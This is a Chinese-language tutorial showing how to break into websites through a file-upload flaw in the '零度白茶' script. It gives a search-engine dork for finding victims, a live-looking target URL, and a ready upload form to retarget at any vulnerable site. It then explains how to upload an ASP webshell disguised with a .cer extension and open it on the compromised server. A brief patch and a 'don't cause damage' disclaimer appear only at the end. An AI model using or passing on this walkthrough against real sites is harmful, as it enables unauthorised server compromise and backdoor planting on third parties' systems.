文章作者：fhod
先在baidu或google里搜索关键字“零度白茶”。<br>
这里我已经找好了一个，
http://cccq.net/movie，这次利用的是上传漏洞，所以我们在它后面加个upfile.asp.返回信息“请选择你要上传的图片”。然后打开我们的上传页面。这里我给出它的源码。如下：
<p><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><br>
<!-- saved from url=(0055)asp?PhotoUrlID=0" target=_blank>
http://www.xxgcn.net/body/upload_Photo.asp?PhotoUrlID=0
--><br>
<HTML><HEAD><br>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><br>
<STYLE type=text/css>BODY {<br>
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee<br>
}<br>
.tx1 {<br>
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt;
BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid;
HEIGHT: 20px<br>
}<br>
</STYLE></p>
<p><META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD><br>
<BODY leftMargin=0 topMargin=0><br>
<FORM name=form1 action="
http://cccq.net/movie/upfile.asp" method=post
<br>
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName>
<INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT:
rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT:
normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT:
normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT:
normal" type=submit value=上传 name=Submit> <br>
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML><br>
保存为upload.htm<br>
<FORM name=form1 action="
http://cccq.net/movie/upfile.asp" method=post<br>
这里的asp" target=_blank>
http://cccq.net/movie/upfile.asp请换成你找到的漏洞站点。 </p>
<p>然后随便选择一张图片，找一个asp木马，什么样的asp木马都可以，现在的海洋木马很流行，不过需要注意的是后缀名一定要保存为cer格式的。着里我已经做好了。<br>
接着打开upload.htm第一个框里传图片，第二个传我们的后缀cer的asp木马，接着点上传。</p>
<p>如果上传成功的话，就回出现“图片上传成功！ 图片上传成功！ ”。看下他的源码。</p>
<p><html><br>
<head><br>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"><br>
</head><br>
<body leftmargin="2" topmargin="5" marginwidth="0"
marginheight="0"><br>
图片上传成功！<SCRIPT language=javascript><br>
parent.document.myform.domurl3.value='tupian/200482111057605.gif';<br>
</script><br>
图片上传成功！<SCRIPT language=javascript><br>
parent.document.myform.domurl3.value='tupian/200482111057531.cer';<br>
</script></p>
<p></body><br>
</html></p>
<p>上面的tupian/200482111057531.cer就是我们传的asp木马文件了。 然后在IE里输入<br>
http://cccq.net/movie/tupian/200482111057531.cer 呵呵~~~~~~~~看到什么了？ <br>
看我的抓图 </p>
<p><br>
赶紧输入自己的密码进去玩玩把，千万别搞破坏哦！毕竟学习才是我们的目的。</p>
<p><br>
漏洞解决方法：在upfile.asp里添加 if fileEXT="asp" or fileEXT="asa"
or fileEXT="aspx" or fileEXT="cer"then <br>
代码就可以了！</p>
<p>为避免有些人乱搞，这个站的漏洞我补了，请换别的站点把！
本文也是看了教程所写，并无技术可言！
